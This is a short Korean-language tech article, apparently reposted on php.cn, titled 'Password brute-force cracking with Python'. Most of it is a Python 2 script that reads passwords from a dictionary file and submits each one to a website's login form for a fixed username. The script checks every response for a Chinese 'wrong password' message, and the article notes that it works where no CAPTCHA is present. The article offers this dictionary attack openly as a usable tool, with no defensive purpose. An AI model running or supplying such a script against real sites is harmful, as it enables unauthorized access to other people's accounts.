>  기사  >  백엔드 개발  >  Python을 이용한 비밀번호 무차별 대입 크래킹

Python을 이용한 비밀번호 무차별 대입 크래킹

高洛峰
高洛峰원래의
2016-10-18 10:31:303172검색

사전 파일에 따르면 Python을 사용하여 무차별 대입 크래킹을 수행한다고 합니다.

참고: 인증 코드가 없는 경우

예제 코드:

#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
    pwd=f.readline().strip()
    if not pwd:
        print '字典已比对完。'
        break
    params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
    conn.request("GET", "/login/aaa.asp", params, headers)
    r = conn.getresponse()
    print r.status, r.reason
    data1 = r.read().decode('gbk')#编码根据实际情况酌情处理
    print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwd
conn.close()


성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.